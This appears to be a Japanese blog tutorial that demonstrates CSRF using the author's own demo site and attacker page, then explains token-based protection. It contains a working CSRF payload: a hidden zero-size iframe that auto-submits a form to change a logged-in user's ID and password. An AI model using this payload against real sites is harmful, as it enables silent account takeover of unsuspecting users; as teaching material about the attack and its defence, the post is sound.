Edited at

WEBエンジニアなら必ず知っておくべき「CSRF」のサンプルサイトを作ってみた


概要


  • CSRFはWEBセキュリティにおいて重要な知識

  • なのに入門者はCSRFについての知識を疎かにしてることが多い

  • CSRFは、実際のサンプルサイトがないと分かりにくい

  • ということで実際にサンプルサイトを作ってみた


サンプルサイト


何ができるサイトか

サンプルサイトで会員登録後、攻撃用ページを開くと、勝手にサンプルサイトのID、PWが変更されます


  1. サンプルサイトのトップページから会員登録ページへ飛びます



  2. ID: hoge PW: fuga で会員登録してみます



  3. マイページに飛びました



  4. ここで、攻撃者用ページ(https://sagami1991.github.io/csrf-sample/) を開いてみます。開くだけで何もせずにOKです



  5. その後サンプルサイトのマイページに戻ると、IDとPWがhogehogehackerというものに変わっています。全く関係ない他者のページを踏んだだけで会員情報が勝手に変更されてしまいました




仕組み

CSRF攻撃の仕組みはわかりやすい記事がそこら中にあると思うので細かい話は省略します。


  1. サンプルサイトでログインする

  2. 一定時間、ログインは保持される


    • (cookieにsessionIDを持っていて、サンプルサイトのサーバーはsessionIDを元にsession情報を読み取り、ログイン情報等も判断する)



  3. 攻撃者用ページにアクセスする


  4. 攻撃者用ページからiframe内で会員情報変更処理ページに自動でPOST送信される


    • iframe内でPOST送信させれば、画面遷移しないのでユーザーにばれない

    • iframeを埋め込んでいる部分


    index.html

    <iframe src="hack-iframe.html" width="0" height="0"></iframe>
    


    • iframeに埋め込んであるページのソース


    index.html

    <!-- ユーザー情報変更ページへPOST送信するForm -->
    
    <form action="https://hack-csrf-sample.herokuapp.com/mypage/edit" method="POST">
    <!-- サンプルサイトのhtmlソースを見ながらIDとパスワードのパラメータ名(name)を合わせ、
    変更させたい適当な値をvalueに設定する -->

    <input name="userId" value="hogehogehacker" />
    <input name="password" value="hogehogehacker" />
    </form>
    <script>
    // 自動でpost送信させるコード
    var form = document.querySelector("form");
    form.submit()
    </script>




  5. サンプルサイトの会員情報が勝手に変更される


    • ブラウザにサンプルサイトのcookie情報が残っていれば、サンプルサイトのサーバーサイドはログインしているものと判断するので、会員情報変更ページから変更リクエストが来たものと同じように判断してしまいます。




対策方法

これも、そこらの記事に書かれてあったり、フレームワークによって設定方法があると思うので細かいことは省略しますが、だいたい以下のような方法を採用しています。


  1. ログイン時にトークン(乱数)を生成し、sessionに格納する

  2. post送信時はform内にそのトークンを入れ、サーバー内でリクエストパラメータのトークンと、session内のトークンが同一かどうか判断する

  3. 同一ならばリクエストを受け付ける


    • SessionIDが漏れない限り、攻撃者はトークンが分からないので外部からPOST送信することができなくなる。




最後に

サンプルサイトはheroku、攻撃用ページはgithub pagesで作っています。

今どき、なんでもタダでできちゃうのがいいですね。

ちなみにサンプルサイトはtypescript+nodejsで書いています。

nodejsは環境構築が簡単で、重たいIDEなどもいらないので、ストレスフリーでこういうサンプルサイトがつくれちゃいます。